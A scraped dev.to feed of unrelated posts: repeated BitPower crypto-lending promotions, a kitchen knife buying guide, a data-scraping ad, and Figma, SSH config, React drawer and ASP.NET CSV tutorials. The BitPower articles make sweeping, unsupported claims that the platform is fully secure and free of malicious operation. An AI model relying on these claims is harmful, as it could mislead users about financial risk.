
https://dev.to/wgac_0f8ada999859bdd2c0e5/paper-detailing-bitpower-loops-security-35l8

Security Research of BitPower Loop BitPower Loop is a decentralized lending platform based on blockchain technology, dedicated to providing users with safe, transparent and efficient financial services. Its core security comes from multi-level technical measures and mechanism design, which ensures the robust operation of the system and the security of user funds. This article will introduce the security of BitPower Loop in detail from five aspects: smart contract security, decentralized management, data and transaction security, fund security and risk control mechanism. 1. Smart Contract Security Smart contracts are the core components of BitPower Loop, and their codes must undergo strict security audits before deployment. These audits are usually conducted by third-party independent security companies to ensure that there are no vulnerabilities or malicious code in the contract. In addition, the immutability of smart contracts means that once deployed, no one (including the development team) can modify its rules and logic, which fundamentally eliminates the possibility of malicious operations. All operations are automatically executed by smart contracts, avoiding the risk of human intervention and ensuring the fairness and consistency of system operation. 2. Decentralized Management BitPower Loop eliminates the risks brought by single point failures and central control through decentralized management. The system has no central management agency or owner, and all transactions and operations are jointly verified and recorded by blockchain nodes distributed around the world. This decentralized structure not only improves the system's anti-attack capabilities, but also enhances transparency. Users can publicly view all transaction records, which increases trust in the system. 3. Data and transaction security BitPower Loop uses advanced encryption technology to protect users' data and transaction information. All data is encrypted during transmission and storage to prevent unauthorized access and data leakage. The consensus mechanism of the blockchain ensures the validity and immutability of each transaction, eliminating the possibility of double payment and forged transactions. In addition, the automated execution of smart contracts also avoids delays and errors caused by human operations, ensuring the real-time and accuracy of transactions. 4. Fund security The secure storage of user funds is an important feature of BitPower Loop. Funds are stored on the blockchain through smart contracts and maintained by nodes across the entire network. Distributed storage avoids the risk of fund theft caused by centralized storage. In addition, the user's investment returns and shared commissions are automatically allocated to the user's wallet address by the smart contract after the conditions are met, ensuring the timely and accurate arrival of funds. 5. Risk Control Mechanism BitPower Loop effectively manages lending risks by setting collateral factors and liquidation mechanisms. The collateral factors are independently set according to market liquidity and asset value fluctuations to ensure system stability and lending security. When the value of the borrower's assets falls below a certain threshold, the liquidation mechanism is automatically triggered, ensuring the repayment of the borrower's debt and protecting the interests of the fund provider. In addition, the immutability and automatic execution characteristics of smart contracts further enhance the security and reliability of the system. Conclusion BitPower Loop achieves high security and stability through multi-level security measures and mechanism design. Its smart contracts are strictly audited and immutable, decentralized management eliminates single point failure risks, advanced encryption technology protects data and transaction security, distributed storage ensures fund security, and risk control mechanisms manage lending risks. These security features together build a reliable decentralized financial platform that provides users with secure, transparent and efficient financial services.

wgac_0f8ada999859bdd2c0e5

BitPower Lending Platform: Innovative Application of Blockchain Technology in Decentralized Finance

Introduction The rise of blockchain technology has spawned the development of decentralized finance...

https://dev.to/woy_ca2a85cabb11e9fa2bd0d/bitpower-lending-platform-innovative-application-of-blockchain-technology-in-decentralized-finance-238f

btc

 Introduction The rise of blockchain technology has spawned the development of decentralized finance (DeFi) and subverted the traditional financial system. As an innovative application in this field, the BitPower lending platform has achieved transparent, secure and efficient lending services through smart contracts, attracting the attention of users around the world. This article will explore the operating mechanism, core features and application prospects of the BitPower lending platform in decentralized finance. Operation Mechanism of BitPower Lending Platform The BitPower lending platform uses blockchain technology to build a decentralized lending market. The operation of the platform mainly relies on smart contracts, which automatically execute lending agreements without human intervention to ensure the transparency and security of transactions. Users on the platform are mainly divided into two categories: borrowers and lenders. Lenders deposit funds into the platform to obtain a certain interest, while borrowers provide assets as collateral to obtain the required funds. 1. Application of Smart Contracts Smart contracts are the core technology of the BitPower lending platform. Lending agreements are automatically executed through smart contracts to ensure the fairness and security of transactions. Smart contracts run on blockchains, cannot be tampered with, and have high transparency. All lending transactions are recorded on the blockchain and can be viewed by anyone, which enhances the credibility of the system. 2. Interest rate and collateral management The interest rate of the BitPower lending platform is determined by market supply and demand. Smart contracts automatically adjust interest rates according to market conditions to ensure that lenders and borrowers obtain reasonable returns and costs. Borrowers need to provide a certain proportion of assets as collateral. Smart contracts will automatically evaluate the value of the collateral and automatically liquidate the collateral when the borrower fails to repay on time to protect the interests of the lender. Core features The BitPower lending platform has many innovative features in design and operation, making it stand out in the DeFi field. 1. Decentralization The BitPower lending platform is completely decentralized, with no central agency or intermediary involved. All operations are automatically executed by smart contracts, and users have full control of funds, reducing trust risks. 2. Highly transparent All transaction records of the platform are open and transparent on the blockchain and can be viewed by anyone, ensuring the fairness and transparency of the system. 3. Security The immutability and automatic execution characteristics of smart contracts ensure the security of transactions. The platform adopts a multi-level security mechanism, including smart contract auditing, data encryption and multi-signature authentication, to protect user assets to the greatest extent. 4. Global service The BitPower lending platform is open to global users without geographical restrictions. Any user with an Internet connection can participate and enjoy decentralized financial services. Application prospects of the BitPower lending platform With the continuous development and popularization of blockchain technology, the application prospects of the BitPower lending platform in decentralized finance are broad. 1. Financial inclusion The BitPower lending platform lowers the threshold for financial services, enabling more people around the world to enjoy financial services, especially those regions and people that are not covered by the traditional financial system. 2. Asset digitization The platform supports the mortgage and lending of multiple digital assets, promotes the digital circulation and management of assets, and improves the efficiency of asset utilization. 3. Ecosystem expansion The BitPower lending platform can be seamlessly integrated with other DeFi projects and blockchain ecosystems to form an interconnected financial ecosystem, further promoting the development of decentralized finance. 4. New financial products With the help of smart contracts and blockchain technology, the BitPower lending platform can quickly innovate and launch new financial products to meet the diverse needs of the market, improve user participation and the competitiveness of the platform. Conclusion As an important innovation in the field of decentralized finance, the BitPower lending platform uses blockchain and smart contract technology to achieve transparent, secure and efficient lending services. The platform's decentralization, high transparency, security and global service characteristics make it occupy an important position in the DeFi field. With the development of blockchain technology, the application prospects of the BitPower lending platform will be broader, promoting further changes and innovations in the financial system. Through continuous technological innovation and ecosystem expansion, the BitPower lending platform is expected to become a benchmark in the field of decentralized finance, change the pattern of traditional financial services, and promote the realization of global financial inclusion.

woy_ca2a85cabb11e9fa2bd0d

Paper detailing BitPower Loop’s security

Security Research of BitPower Loop BitPower Loop is a decentralized lending platform based on...

https://dev.to/weq_24a494dd3a467ace6aca5/paper-detailing-bitpower-loops-security-abg

Security Research of BitPower Loop BitPower Loop is a decentralized lending platform based on blockchain technology, dedicated to providing users with safe, transparent and efficient financial services. Its core security comes from multi-level technical measures and mechanism design, which ensures the robust operation of the system and the security of user funds. This article will introduce the security of BitPower Loop in detail from five aspects: smart contract security, decentralized management, data and transaction security, fund security and risk control mechanism. 1. Smart Contract Security Smart contracts are the core components of BitPower Loop, and their codes must undergo strict security audits before deployment. These audits are usually conducted by third-party independent security companies to ensure that there are no vulnerabilities or malicious code in the contract. In addition, the immutability of smart contracts means that once deployed, no one (including the development team) can modify its rules and logic, which fundamentally eliminates the possibility of malicious operations. All operations are automatically executed by smart contracts, avoiding the risk of human intervention and ensuring the fairness and consistency of system operation. 2. Decentralized Management BitPower Loop eliminates the risks brought by single point failures and central control through decentralized management. The system has no central management agency or owner, and all transactions and operations are jointly verified and recorded by blockchain nodes distributed around the world. This decentralized structure not only improves the system's anti-attack capabilities, but also enhances transparency. Users can publicly view all transaction records, which increases trust in the system. 3. Data and transaction security BitPower Loop uses advanced encryption technology to protect users' data and transaction information. All data is encrypted during transmission and storage to prevent unauthorized access and data leakage. The consensus mechanism of the blockchain ensures the validity and immutability of each transaction, eliminating the possibility of double payment and forged transactions. In addition, the automated execution of smart contracts also avoids delays and errors caused by human operations, ensuring the real-time and accuracy of transactions. 4. Fund security The secure storage of user funds is an important feature of BitPower Loop. Funds are stored on the blockchain through smart contracts and maintained by nodes across the entire network. Distributed storage avoids the risk of fund theft caused by centralized storage. In addition, the user's investment returns and shared commissions are automatically allocated to the user's wallet address by the smart contract after the conditions are met, ensuring the timely and accurate arrival of funds. 5. Risk Control Mechanism BitPower Loop effectively manages lending risks by setting collateral factors and liquidation mechanisms. The collateral factors are independently set according to market liquidity and asset value fluctuations to ensure system stability and lending security. When the value of the borrower's assets falls below a certain threshold, the liquidation mechanism is automatically triggered, ensuring the repayment of the borrower's debt and protecting the interests of the fund provider. In addition, the immutability and automatic execution characteristics of smart contracts further enhance the security and reliability of the system. Conclusion BitPower Loop achieves high security and stability through multi-level security measures and mechanism design. Its smart contracts are strictly audited and immutable, decentralized management eliminates single point failure risks, advanced encryption technology protects data and transaction security, distributed storage ensures fund security, and risk control mechanisms manage lending risks. These security features together build a reliable decentralized financial platform that provides users with secure, transparent and efficient financial services.

weq_24a494dd3a467ace6aca5

BitPower Lending Platform: Innovative Application of Blockchain Technology in Decentralized Finance

Introduction The rise of blockchain technology has spawned the development of decentralized finance...

https://dev.to/wot_ee4275f6aa8eafb35b941/bitpower-lending-platform-innovative-application-of-blockchain-technology-in-decentralized-finance-28b

 Introduction The rise of blockchain technology has spawned the development of decentralized finance (DeFi) and subverted the traditional financial system. As an innovative application in this field, the BitPower lending platform has achieved transparent, secure and efficient lending services through smart contracts, attracting the attention of users around the world. This article will explore the operating mechanism, core features and application prospects of the BitPower lending platform in decentralized finance. Operation Mechanism of BitPower Lending Platform The BitPower lending platform uses blockchain technology to build a decentralized lending market. The operation of the platform mainly relies on smart contracts, which automatically execute lending agreements without human intervention to ensure the transparency and security of transactions. Users on the platform are mainly divided into two categories: borrowers and lenders. Lenders deposit funds into the platform to obtain a certain interest, while borrowers provide assets as collateral to obtain the required funds. 1. Application of Smart Contracts Smart contracts are the core technology of the BitPower lending platform. Lending agreements are automatically executed through smart contracts to ensure the fairness and security of transactions. Smart contracts run on blockchains, cannot be tampered with, and have high transparency. All lending transactions are recorded on the blockchain and can be viewed by anyone, which enhances the credibility of the system. 2. Interest rate and collateral management The interest rate of the BitPower lending platform is determined by market supply and demand. Smart contracts automatically adjust interest rates according to market conditions to ensure that lenders and borrowers obtain reasonable returns and costs. Borrowers need to provide a certain proportion of assets as collateral. Smart contracts will automatically evaluate the value of the collateral and automatically liquidate the collateral when the borrower fails to repay on time to protect the interests of the lender. Core features The BitPower lending platform has many innovative features in design and operation, making it stand out in the DeFi field. 1. Decentralization The BitPower lending platform is completely decentralized, with no central agency or intermediary involved. All operations are automatically executed by smart contracts, and users have full control of funds, reducing trust risks. 2. Highly transparent All transaction records of the platform are open and transparent on the blockchain and can be viewed by anyone, ensuring the fairness and transparency of the system. 3. Security The immutability and automatic execution characteristics of smart contracts ensure the security of transactions. The platform adopts a multi-level security mechanism, including smart contract auditing, data encryption and multi-signature authentication, to protect user assets to the greatest extent. 4. Global service The BitPower lending platform is open to global users without geographical restrictions. Any user with an Internet connection can participate and enjoy decentralized financial services. Application prospects of the BitPower lending platform With the continuous development and popularization of blockchain technology, the application prospects of the BitPower lending platform in decentralized finance are broad. 1. Financial inclusion The BitPower lending platform lowers the threshold for financial services, enabling more people around the world to enjoy financial services, especially those regions and people that are not covered by the traditional financial system. 2. Asset digitization The platform supports the mortgage and lending of multiple digital assets, promotes the digital circulation and management of assets, and improves the efficiency of asset utilization. 3. Ecosystem expansion The BitPower lending platform can be seamlessly integrated with other DeFi projects and blockchain ecosystems to form an interconnected financial ecosystem, further promoting the development of decentralized finance. 4. New financial products With the help of smart contracts and blockchain technology, the BitPower lending platform can quickly innovate and launch new financial products to meet the diverse needs of the market, improve user participation and the competitiveness of the platform. Conclusion As an important innovation in the field of decentralized finance, the BitPower lending platform uses blockchain and smart contract technology to achieve transparent, secure and efficient lending services. The platform's decentralization, high transparency, security and global service characteristics make it occupy an important position in the DeFi field. With the development of blockchain technology, the application prospects of the BitPower lending platform will be broader, promoting further changes and innovations in the financial system. Through continuous technological innovation and ecosystem expansion, the BitPower lending platform is expected to become a benchmark in the field of decentralized finance, change the pattern of traditional financial services, and promote the realization of global financial inclusion.

wot_ee4275f6aa8eafb35b941

Finding the Best Affordable Kitchen Knives: A Guide

When it comes to cooking, a good kitchen knife can make all the difference. However, you don't need...

https://dev.to/thepremieredge/finding-the-best-affordable-kitchen-knives-a-guide-1ec2

goodaffordablekitchenknives, chefknives, knifeforcooking, chiefknife

 When it comes to cooking, a good kitchen knife can make all the difference. However, you don't need to spend a fortune to get a knife that performs well. [Good affordable kitchen knives](https://thepremieredge.com/) can be just as effective and durable as their pricier counterparts if you know what to look for. Here’s a guide to help you find the best affordable kitchen knives for your kitchen. **_Why a Good Knife Matters_** **_A good kitchen knife can:_** Improve Your Cooking: Sharp, well-balanced knives make cutting easier and more precise. Save Time: Efficient slicing and dicing speeds up meal preparation. **_Enhance Safety_**: A sharp knife is safer than a dull one because it requires less force, reducing the risk of slipping. Key Features to Look For **_Blade Material:_** **_Stainless Steel_**: Durable, rust-resistant, and easy to maintain. **_High-Carbon Stainless Steel_**: Holds a sharp edge longer and is stronger, but may require more care to prevent rust. **_Blade Sharpness_**: Look for knives that come sharp out of the box and are easy to sharpen. **_Handle Comfort_**: Ergonomic handles made of materials like wood, plastic, or rubber provide a comfortable and secure grip. **_Balance and Weight_**: A well-balanced knife feels good in your hand and is easier to control. **_Size and Shape_**: Start with a versatile 8-inch chef’s knife. You might also consider a paring knife for smaller tasks and a serrated knife for bread. Top Affordable Kitchen Knives **_Victorinox Fibrox Pro Chef's Knife_**: **_Price_**: Around $40 **_Features_**: High-carbon stainless steel blade, comfortable Fibrox handle, lightweight and well-balanced. Why It's Good: It’s a favorite among both professional chefs and home cooks for its durability and performance. Mercer Culinary Millennia 8-Inch Chef's Knife: Price: Around $20 **_Features_**: High-carbon stainless steel blade, ergonomic handle with textured finger points for better grip. **_Why It's Good_**: Known for its affordability and quality, it's great for beginners. Cuisinart C77SS-15PK Stainless Steel Hollow Handle Block Set: Price: Around $50 for a set **_Features_**: Stainless steel blades and handles, comes with a variety of knives and a block. Why It's Good: Offers great value for those looking to stock their kitchen with a variety of knives. Imarku Pro Kitchen 8-Inch Chef's Knife: Price: Around $30 Features: High-carbon stainless steel blade, ergonomic Pakkawood handle. **_Why It's Good_**: It’s a strong contender with excellent edge retention and a comfortable grip. **_J.A. Henckels International Classic Chef’s Knife_**: Price: Around $50 Features: German stainless steel blade, traditional triple-rivet handle. **_Why It's Good_**: A reliable knife from a reputable brand, offering good quality at an affordable price. **_Taking Care of Your Knives_** **_To ensure your knives last long_**: Hand Wash: Always hand wash and dry your knives immediately after use to prevent rust and damage. **_Store Safely_**: Use a knife block, magnetic strip, or blade guards to store your knives safely. **_Sharpen Regularly_**: Use a honing rod regularly and a sharpener when needed to keep the blades sharp. **_Conclusion_** Investing in a good set of affordable kitchen knives can significantly enhance your cooking experience without breaking the bank. Look for key features like blade material, handle comfort, and balance to find knives that suit your needs. With proper care, these knives will serve you well for years to come.

thepremieredge

BitPower Lending Platform: Innovative Application of Blockchain Technology in Decentralized Finance

Introduction The rise of blockchain technology has spawned the development of decentralized finance...

https://dev.to/wot_dcc94536fa18f2b101e3c/bitpower-lending-platform-innovative-application-of-blockchain-technology-in-decentralized-finance-1nc7

btc

 Introduction The rise of blockchain technology has spawned the development of decentralized finance (DeFi) and subverted the traditional financial system. As an innovative application in this field, the BitPower lending platform has achieved transparent, secure and efficient lending services through smart contracts, attracting the attention of users around the world. This article will explore the operating mechanism, core features and application prospects of the BitPower lending platform in decentralized finance. Operation Mechanism of BitPower Lending Platform The BitPower lending platform uses blockchain technology to build a decentralized lending market. The operation of the platform mainly relies on smart contracts, which automatically execute lending agreements without human intervention to ensure the transparency and security of transactions. Users on the platform are mainly divided into two categories: borrowers and lenders. Lenders deposit funds into the platform to obtain a certain interest, while borrowers provide assets as collateral to obtain the required funds. 1. Application of Smart Contracts Smart contracts are the core technology of the BitPower lending platform. Lending agreements are automatically executed through smart contracts to ensure the fairness and security of transactions. Smart contracts run on blockchains, cannot be tampered with, and have high transparency. All lending transactions are recorded on the blockchain and can be viewed by anyone, which enhances the credibility of the system. 2. Interest rate and collateral management The interest rate of the BitPower lending platform is determined by market supply and demand. Smart contracts automatically adjust interest rates according to market conditions to ensure that lenders and borrowers obtain reasonable returns and costs. Borrowers need to provide a certain proportion of assets as collateral. Smart contracts will automatically evaluate the value of the collateral and automatically liquidate the collateral when the borrower fails to repay on time to protect the interests of the lender. Core features The BitPower lending platform has many innovative features in design and operation, making it stand out in the DeFi field. 1. Decentralization The BitPower lending platform is completely decentralized, with no central agency or intermediary involved. All operations are automatically executed by smart contracts, and users have full control of funds, reducing trust risks. 2. Highly transparent All transaction records of the platform are open and transparent on the blockchain and can be viewed by anyone, ensuring the fairness and transparency of the system. 3. Security The immutability and automatic execution characteristics of smart contracts ensure the security of transactions. The platform adopts a multi-level security mechanism, including smart contract auditing, data encryption and multi-signature authentication, to protect user assets to the greatest extent. 4. Global service The BitPower lending platform is open to global users without geographical restrictions. Any user with an Internet connection can participate and enjoy decentralized financial services. Application prospects of the BitPower lending platform With the continuous development and popularization of blockchain technology, the application prospects of the BitPower lending platform in decentralized finance are broad. 1. Financial inclusion The BitPower lending platform lowers the threshold for financial services, enabling more people around the world to enjoy financial services, especially those regions and people that are not covered by the traditional financial system. 2. Asset digitization The platform supports the mortgage and lending of multiple digital assets, promotes the digital circulation and management of assets, and improves the efficiency of asset utilization. 3. Ecosystem expansion The BitPower lending platform can be seamlessly integrated with other DeFi projects and blockchain ecosystems to form an interconnected financial ecosystem, further promoting the development of decentralized finance. 4. New financial products With the help of smart contracts and blockchain technology, the BitPower lending platform can quickly innovate and launch new financial products to meet the diverse needs of the market, improve user participation and the competitiveness of the platform. Conclusion As an important innovation in the field of decentralized finance, the BitPower lending platform uses blockchain and smart contract technology to achieve transparent, secure and efficient lending services. The platform's decentralization, high transparency, security and global service characteristics make it occupy an important position in the DeFi field. With the development of blockchain technology, the application prospects of the BitPower lending platform will be broader, promoting further changes and innovations in the financial system. Through continuous technological innovation and ecosystem expansion, the BitPower lending platform is expected to become a benchmark in the field of decentralized finance, change the pattern of traditional financial services, and promote the realization of global financial inclusion.

wot_dcc94536fa18f2b101e3c

Machine Learning

Stanford CS229 Machine Learning Course (Prof. Tengyu Ma, Prof. Christopher Re, Stanford)

https://dev.to/pouyasonej/machine-learning-59jf

Stanford CS229 Machine Learning Course (Prof. Tengyu Ma, Prof. Christopher Re, Stanford)

pouyasonej

🗓️ Day 17: Editing Shapes in Figma ✏️

🗓️ Day 17: Editing Shapes in Figma ✏️ 👋 Hey, Design Enthusiasts! I'm Prince Chouhan, an aspiring...

https://dev.to/prince_chouhan/day-17-editing-shapes-in-figma-5227

ui, ux, uidesign, uiweekly

🗓️ Day 17: Editing Shapes in Figma ✏️ 👋 Hey, Design Enthusiasts! I'm Prince Chouhan, an aspiring UI/UX designer, here to share insights on editing shapes in Figma. Let's dive in! 🚀 📚 Learning Highlights: Concept Overview: Editing shapes is fundamental for creating custom designs. Figma offers robust tools to modify and customize shapes to fit your design needs. Key Takeaways: 1️⃣ Creating Shapes: Start with basic shapes like rectangles or stars. 2️⃣ Entering Edit Mode: Double-click the shape or hit enter to modify its nodes. 3️⃣ Adding/Removing Nodes: Customize shapes by adding or dragging nodes. 4️⃣ Node Properties: Adjust individual node properties like corner radius for detailed customization. Detailed Process: Basic Editing: Create a shape (e.g., rectangle) and double-click or hit enter to enter edit mode. Drag nodes to reshape and customize. Adding Nodes: Hover over a line between nodes and click the plus icon to add a node. Drag the new node to further customize your shape.  Node Properties: Select a node and adjust its corner radius in the design panel for refined shapes. Advanced Usage: Create complex shapes (e.g., stars) and edit their multiple nodes for unique designs. Use the edit mode to design custom icons like arrows by manipulating polygon nodes. Challenges: 🔸 Node Management: Keeping track of multiple nodes for complex shapes. Solution: Practice: Regular editing will improve your efficiency. Experimentation: Try different shapes to understand node behavior better. Practical Application: Custom Icons: Design unique icons by editing basic shapes and adding nodes. Complex Shapes: Create intricate designs by modifying shapes beyond their basic forms. 🔍 In-Depth Analysis: Editing shapes in Figma provides unparalleled flexibility and control, essential for custom design creation. Mastering these tools enables designers to craft precise and unique visuals, enhancing the overall design process. 📢 Community Engagement: How do you approach shape editing in Figma? Share your tips and techniques! 🌟 💬 Quote of the Day: "Design is not just what it looks like and feels like. Design is how it works." - Steve Jobs Thank you for joining me on this journey! Stay tuned for more UI/UX design insights. #UIUXDesign #FigmaTips #DesignWorkflow #ShapeEditing #GraphicDesign #DigitalDesign #DesignTools #UserExperience #UIDesign #CreativeProcess #DesignTips #DesignCommunity #Techniques #VisualDesign #ProductDesign #LearningJourney #DesignInspiration #DailyDesign #DesignEducation #TechSkills

prince_chouhan

Business Directory Scraping | Scrape Business Directory Data

iWeb Scraping provides the Best Business Directory data Scraping Services to scrape or Extract...

https://dev.to/iwebscraping/business-directory-scraping-scrape-business-directory-data-236k

businessdirectorydata, scrapedata

iWeb Scraping provides the [Best Business Directory data Scraping Services](https://www.iwebscraping.com/business-directory-scrapings.php) to scrape or Extract Business Directory Data like Business Name, Address, Number, Email.

iwebscraping

SSH Config for Multiple SSH Authentication

TL;DR Having multiple SSH keys is useful when you want to separate the purpose of each...

https://dev.to/mikhaelesa/ssh-config-for-multiple-ssh-authentication-58jc

tutorial, learning, devops, security

## TL;DR Having multiple SSH keys is useful when you want to separate the purpose of each key, for example you want to have a different SSH keys for GitLab and GitHub for whatever reason. This can be achieved via the config file. ## Creating Config File To be able to have multiple ssh for different purpose, we need to create a config file inside the .ssh directory. ```bash $ cd ~/.ssh $ touch config $ vim config ``` The commands above will directs us to the .ssh directory and creates the config file and then uses vim to edit the content. You can use other editor like nano, it's up to you. Now let's edit the config file to look like this. ``` Host gitlab.com HostName gitlab.com User git IdentityFile ~\.ssh\my_gitlab_ssh IdentitiesOnly yes Host github.com HostName github.com User git IdentityFile ~\.ssh\my_github_ssh IdentitiesOnly yes ``` Now there you have it, a ssh config file for multiple SSH keys. You are not limited to only GitHub and GitLab, you can also use it for server authentication and many more. ~ Dadah 👋

mikhaelesa

Creating an iOS-like Slide-Up Drawer with React Portals

So... Have you ever been browsing a website, perhaps on your mobile device, and marvelled...

https://dev.to/bansalvikas/a-journey-through-creating-an-ios-like-slide-up-drawer-in-react-with-typescript-and-react-portals-1lok

webdev, javascript, beginners, react

## So... Have you ever been browsing a website, perhaps on your mobile device, and marvelled at the smooth, elegant slide-up drawers that seamlessly appear at the bottom of the screen? Or maybe you've interacted with a modal that felt so intuitive and flexible that you wondered, "How do they do that?" Well, that's precisely the question I had in mind. I wanted to create a slide-up drawer that not only looks great but is also highly reusable and can accept any kind of children. This journey led me to discover the power of React Portals. ## The Drawer  ## and... The task was clear, I needed to create a slide-up drawer in React that would always be a sibling of the `<body>` element, ensuring it would overlay everything else on the page. It also needed to be flexible enough to accept any UI components as its content. Achieving this while maintaining a smooth user experience and clean codebase seemed like a daunting task. ## hello portals... The solution came in the form of React Portals. [React Portals](https://legacy.reactjs.org/docs/portals.html) provide a way to render children into a DOM node that exists outside the DOM hierarchy of the parent component. This feature is perfect for creating modals, tooltips, and, in my case, a slide-up drawer. Here’s how I did it. > GitHub now has everything and so does this code... [here is the repository](https://github.com/bansalvks/hello-bottom-sheet) > and the [Live Preview](https://bansalvks.github.io/hello-bottom-sheet/) too > _Note: Open the dev console and change the viewport to mobile view to see the drawer in action 😄_ ## goals... **Separation of Concerns:** By using React Portals, I could keep the drawer's DOM structure separate from the parent component's DOM, leading to better-organized code. **Reusability:** The drawer component could accept any children, making it highly reusable across different parts of the application. **Smooth Animations:** With CSS transitions, I could achieve smooth and visually appealing slide-up and slide-down animations. ## code... **Step 1: Creating the SlideUpDrawer Component** React Portals allow you to render a component outside its parent component's DOM hierarchy. This means you can create a component that appears as a sibling to the `<body>` element instead of being nested inside another component. This is especially useful for components like modals, tooltips, and our slide-up drawer because it ensures that they overlay everything else on the page. Here's how you can create a slide-up drawer using React Portals: ```javascript import React, { useState, ReactNode } from 'react'; import ReactDOM from 'react-dom'; import './SlideUpDrawer.css'; interface SlideUpDrawerProps { children: ReactNode; } const SlideUpDrawer: React.FC<SlideUpDrawerProps> = ({ children }) => { const [isOpen, setIsOpen] = useState(false); const toggleDrawer = () => { setIsOpen(!isOpen); }; return ReactDOM.createPortal( <div className="drawer-container"> <button className="open-drawer-button" onClick={toggleDrawer}> {isOpen ? 'Close' : 'Open'} Drawer </button> <div className={`drawer ${isOpen ? 'open' : ''}`}> <div className="drawer-content"> {children} <button onClick={toggleDrawer}>Close</button> </div> </div> </div>, document.body ); }; export default SlideUpDrawer; ``` **Step 2: Styling** Next, I wrote some CSS, and the goal was to achieve a smooth slide-up and slide-down effect. I am using CSS transitions, which allow you to change property values smoothly over a given duration. This makes animations like sliding a drawer up and down feel natural and responsive. The transition property in CSS is key to achieving this smoothness. - The `.drawer` class is initially positioned off-screen (`bottom: -100%`). - When the `.drawer.open` class is added, it slides up to `bottom: 0`. - The `transition: bottom 0.3s ease` ensures the slide-up and slide-down animations are smooth and take 0.3 seconds. Read this awesome blog on [great animations by Emil Kowalski](https://emilkowal.ski/ui/great-animations) ```css .drawer-container { position: fixed; bottom: 0; left: 0; width: 100%; height: 50%; overflow: hidden; z-index: 1000; } .open-drawer-button { position: fixed; bottom: 20px; left: 50%; transform: translateX(-50%); z-index: 1001; } .drawer { position: fixed; bottom: -100%; left: 0; width: 100%; height: 50%; background-color: white; box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.1); transition: bottom 0.3s ease; z-index: 1000; } .drawer.open { bottom: 0; } .drawer-content { padding: 20px; } ``` **Step 2: Usage** To see the drawer in action, use the SlideUpDrawer in the main application component and pass some children to it. ```javascript import React from 'react'; import SlideUpDrawer from './SlideUpDrawer'; const App: React.FC = () => { return ( <div> <h1>Slide Up Drawer Example</h1> <SlideUpDrawer> <p>This is the content of the drawer.</p> <p>You can add any UI components here!</p> </SlideUpDrawer> </div> ); }; export default App; ``` ## understanding... By leveraging React Portals, I was able to create a versatile and reusable slide-up drawer component in React. This component is reusable, capable of accepting any children and smooth 🤩 React Portals provided the key solution to rendering the drawer as a sibling of the `<body>` element, maintaining a clean and manageable codebase. The combination of TypeScript and CSS transitions ensured a robust and smooth user experience. Feel free to customize and extend the component to fit your specific needs. Contributions and improvements are always welcome!

bansalvikas

Step-by-Step Guide to Reading CSV Files in ASP.NET Core

Introduction Reading and displaying data from a CSV file is a common requirement in web...

https://shekhartarare.com/Archive/2024/6/step-by-step-guide-to-reading-csv-files-in-asp-dotnet-core

aspdotnet, webdev, beginners, tutorial

## Introduction Reading and displaying data from a CSV file is a common requirement in web applications applications. In this guide, we’ll walk through the steps to build an ASP.NET Core NET Core 8 application that reads a CSV file uploaded by a user and displays the data in a styled HTML table. We’ll also cover error handling to manage any issues that may arise during the file processing. ## Step 1: Create a New ASP.NET Core Web Application Start by creating a new ASP.NET Core Web Application: ``` dotnet new webapp -n CsvReaderApp ``` ## Step 2: Install CsvHelper Package Install the CsvHelper package which will help us read the CSV file: ``` dotnet add package CsvHelper ``` ## Step 3: Add the User Model Create a new folder called Models and add a User.cs file. The headers of the CSV file and the fields here should match as we will be getting the data into this model. ``` namespace CsvReaderApp.Models { public class User { public int Id { get; set; } public string Name { get; set; } public string Email { get; set; } } } ``` ## Step 4: Add the CsvService Class Create a new folder called Services and add a CsvService.cs file. This class will be responsible for parsing the CSV file and converting it to a list of User objects. ``` using CsvHelper; using CsvHelper.TypeConversion; using CsvReaderApp.Models; using System.Globalization; namespace CsvReaderApp.Services {     public class CsvService     {         public IEnumerable<User> ReadCsvFile(Stream fileStream)         {             try             {                 using (var reader = new StreamReader(fileStream))                 using (var csv = new CsvReader(reader, CultureInfo.InvariantCulture))                 {                     var records = csv.GetRecords<User>();                     return records.ToList();                 }             }             catch (HeaderValidationException ex)             {                 // Specific exception for header issues                 throw new ApplicationException("CSV file header is invalid.", ex);             }             catch (TypeConverterException ex)             {                 // Specific exception for type conversion issues                 throw new ApplicationException("CSV file contains invalid data format.", ex);             }             catch (Exception ex)             {                 // General exception for other issues                 throw new ApplicationException("Error reading CSV file", ex);             }         }     } } ``` ## Step 5: Create the CsvImporterController Create a new folder called Controllers and add a CsvImporterController.cs file: ``` using CsvReaderApp.Models; using CsvReaderApp.Services; using Microsoft.AspNetCore.Mvc; namespace CsvReaderApp.Controllers {     [Route("[controller]")]     public class CsvImporterController : Controller     {         private readonly CsvService _csvService;         public CsvImporterController(CsvService csvService)         {             _csvService = csvService;         }         [HttpGet("")]         [HttpGet("Index")]         public IActionResult Index()         {             return View(new List<User>());         }         [HttpPost("")]         [HttpPost("Index")]         public IActionResult Index(IFormFile csvFile)         {             if (csvFile != null && csvFile.Length > 0)             {                 using (var stream = csvFile.OpenReadStream())                 {                     try                     {                         var users = _csvService.ReadCsvFile(stream).ToList();                         return View(users); // Return users list to the view                     }                     catch (ApplicationException ex)                     {                         ModelState.AddModelError(string.Empty, ex.Message);                     }                     catch (Exception ex)                     {                         ModelState.AddModelError(string.Empty, $"An unexpected error occurred: {ex.Message}");                     }                 }             }             else             {                 ModelState.AddModelError(string.Empty, "Please select a valid CSV file.");             }             return View(new List<User>());         }     } } ``` ## Step 6: Create the View Right click on the Index action method on controller and click on Add View and give it a name as Index.cshtml: ``` @model IEnumerable<CsvReaderApp.Models.User> <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>CSV File Upload</title>     <link rel="stylesheet" href="~/css/site.css"> </head> <body>     <div class="container">         <h1>Upload CSV File</h1>         <form asp-controller="Home" asp-action="Upload" method="post" enctype="multipart/form-data">             <div class="form-group">                 <input type="file" name="csvFile" class="form-control" required>             </div>             <button type="submit" class="btn btn-primary">Upload</button>         </form>         @if (Model != null && Model.Any())         {             <h2>User List</h2>             <table class="table">                 <thead>                     <tr>                         <th>Id</th>                         <th>Name</th>                         <th>Email</th>                     </tr>                 </thead>                 <tbody>                     @foreach (var user in Model)                     {                         <tr>                             <td>@user.Id</td>                             <td>@user.Name</td>                             <td>@user.Email</td>                         </tr>                     }                 </tbody>             </table>         }     </div> </body> </html> ``` ## Step 7: Configure Services and Routing I am using .NET 8. Here, we don’t have the Startup.cs file. Instead, we have to configure services and routing in the Program.cs file. Open the Program.cs file and update it as follows: 